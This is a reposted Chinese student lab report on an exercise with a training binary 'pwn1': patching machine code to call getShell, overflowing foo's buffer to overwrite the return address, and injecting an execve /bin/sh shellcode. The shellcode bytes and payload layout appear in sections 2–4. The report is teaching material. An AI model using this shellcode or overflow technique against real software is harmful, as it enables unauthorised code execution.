1.逆向及Bof基础实践说明

1.1-实践目标

  • 对象:pwn1(linux可执行文件)
  • 目标:使程序执行另一个代码片段:getshell
  • 内容:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

1.2-基础知识

  • 熟悉Linux基本操作
  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

2.直接修改程序机器指令,改变程序执行流程

  • 知识要求、学习目标等指导书中已经写得很清楚了,就不再赘述

2.1-反汇编查看函数地址

对pwn1文件进行反汇编,得到如下结果

中80484b5中的指令为“call 8048491”,具体含义为:

  • 本条指令将调用位于地址8048491处的函数,即foo函数。
  • 本条指令对应机器指令“e8 d7 ff ff ff",可以推测出e8即为跳转之意。

2.2-vi中修改地址,反汇编查看结果

  • 这样的话,d7 ff ff ff肯定对应着8048491,而且明显是通过和另一个值加减运算得到8048491这个地址,利用实验指导书里的计算方法,则可以计算出getshell函数的地址,并将d7 ff ff ff替换成为getshell函数地址相对的值即可。

    root@Zenglin:~/exp1# cp pwn1 20154312
    root@Zenglin:~/exp1# vi pwn2
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /e8d7
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改d7为c3
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    8.再反汇编看一下,call指令是否正确调用getShell
    root@KaliYL:~# objdump -d pwn2 | more
    ...
    080484af <main>:80484af: 55                      push   %ebp80484b0: 89 e5                   mov    %esp,%ebp80484b2: 83 e4 f0                and    $0xfffffff0,%esp80484b5: e8 c3 ff ff ff          call   804847d <getShell>80484ba: b8 00 00 00 00          mov    $0x0,%eax
    9.运行下改后的代码,会得到shell提示符#
    root@Zenglin:~/exp1# ./pwn2
    # ls
    pwn1 20154312

3 通过构造输入参数,造成BOF攻击,改变程序执行流

3.1 反汇编,了解程序的基本功能

其实主要是三段函数getshell foo main只要搞清楚三段函数之间的跳转关系,很容易改变函数的执行顺序。

3.2 确认输入字符串哪几个字符会覆盖到返回地址

这主要是一个不断尝试的过程(在不看指导书的情况下),当然如果你看了指导书就可以直接知道哪几个字符会覆盖到返回地址上(我是自己尝试了几遍不同长度的字符串)

这张图可以看到eip被0x35353535覆盖了,查ASCII表就可以知道35对应着十进制的5,大概可以猜测是最后的几个5覆盖到了eip上。

这张图就很明显可以看出来覆盖eip的是1234,现在我们知道字符串中哪几个字符会覆盖eip了,接下来我们就要把字符串中会覆盖eip的字符替换成getshell的地址

3.3 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x7d\x84\x04\x08。

3.4 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  • 使用16进制查看指令xxd查看input文件的内容是否如预期

  • 将input的输入,通过管道符“|”,作为pwn1的输入

4. 注入Shellcode并执行

4.1 准备一段Shellcode

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

实践采用老师推荐的shellcode。如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 准备工作

  • 先利用apt-get install execstack命令安装execstack软件包

  • 进行如下设置

4.3 构造要注入的payload

这一部分两种方法我都尝试了,先说第一种

先注入这一段字符串,然后利用另一个终端跟踪执行

这一部分是坑,我也就没打算跳,接下来是成功的anything+retaddr+nops+shellcode结构的注入模式。

到这里注入就已经完成了,nc模拟远程攻击和Bof防御还没完成,完成了的话再上传上来吧。

转载于:https://www.cnblogs.com/zl20154312/p/8593650.html

20154312曾林 - Exp1 PC平台逆向破解相关推荐

  1. Exp1 PC平台逆向破解(5)M

    Exp1 PC平台逆向破解(5)M 实践内容 实践对象是一个可执行文件pwn1 本程序的正常执行顺序应该是main函数调用foo函数,foo函数输出用户输入的字符串. 本程序还包含了另一个代码片段ge ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  4. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp1 PC平台逆向破解 目录 0. 实验目标 1. 实验内容 1.1 直接修改程序机器指令,改变程序执行流程 1.2 通 ...

  5. 2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解

    实验一 PC平台逆向破解 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另 ...

  6. 20162318 2018-2019-2《网络对抗技术》Exp1 PC平台逆向破解

    一.实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...

  7. 20164305徐广皓 - Exp1 PC平台逆向破解(5)M

    1.逆向及Bof基础实践说明        1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...

  8. EXP1 PC平台逆向破解

    一.实践目标 1.本次实践的对象是一个名为20154310(原为pwn1)的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 3.该 ...

  9. Exp1 PC平台逆向破解 20164309 欧阳彧骁

    一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...

最新文章

  1. 记录一下集成修改触发模式的过程
  2. 深度:Leap Motion手势识别大揭秘
  3. 062_html多媒体
  4. Overfull \hbox或Underfull \hbox错误提示 基于LaTex+VSCode+MAC
  5. Java文件上传功能代码 —— 普遍适用
  6. nutch开发(六)
  7. 用vi在linux下查看16进制文件
  8. redis docker安装、进入命令行后启动服务
  9. VGG合成文字数据生成方法
  10. DRP系统知识点总结
  11. 欧姆龙Fins协议(FinsUDP/FinsTCP)
  12. 数字图像处理,相位相关图像配准算法的C++实现
  13. 理解flask中的蓝图
  14. String源码 spilt
  15. thinkpad联想IBM笔记本为什么出现fan error
  16. 机器学习——概念理解之IoU
  17. Jetson Nano | darknet (yolov3.4-tiny)摄像头实时检测
  18. hdu 2094 “产生冠军“
  19. Dart中常量构造函数
  20. sql_trace跟踪分析方法

热门文章

  1. Github 树形菜单插件
  2. grep之字符串搜索算法Boyer-Moore由浅入深(比KMP快3-5倍)
  3. 如何终止正在在发送的ajax请求
  4. cisco路由交换系统测试命令
  5. MongoDB数据库(一:基本操作)
  6. eclipse提示在***类中找不到main方法
  7. Python创建和访问字典
  8. postgresql中COPY的用法
  9. 联想S820 MIUI刷机包 MIUI 4.4.30 流畅执行 在线主题破解
  10. 《Redis入门指南(第2版)》一第2章 准备